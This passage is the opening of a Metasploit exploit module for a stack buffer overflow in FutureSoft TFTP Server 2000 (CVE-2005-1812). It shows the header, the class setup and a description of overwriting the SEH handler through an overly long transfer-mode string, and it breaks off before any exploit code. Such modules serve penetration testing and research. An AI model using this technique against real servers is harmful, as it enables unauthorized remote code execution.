##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the FutureSoft TFTP Server
2000 product. By sending an overly long transfer-mode string, we were able
to overwrite both the SEH and the saved EIP. A subsequent write-exception
that will occur allows the transferring of execution to our shellcode
via the overwritten SEH. This module has been tested against Windows
2000 Professional and for some reason does not seem to work against
Windows 2000 Server (could not trigger the overflow at all).
},
'Author' => 'MC',
'Version' => '$Revision: 9262 $',
'References' =>
[
['CVE', '2005-1812'],
['OSVDB', '16954'],
['BID', '13821'],
['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'],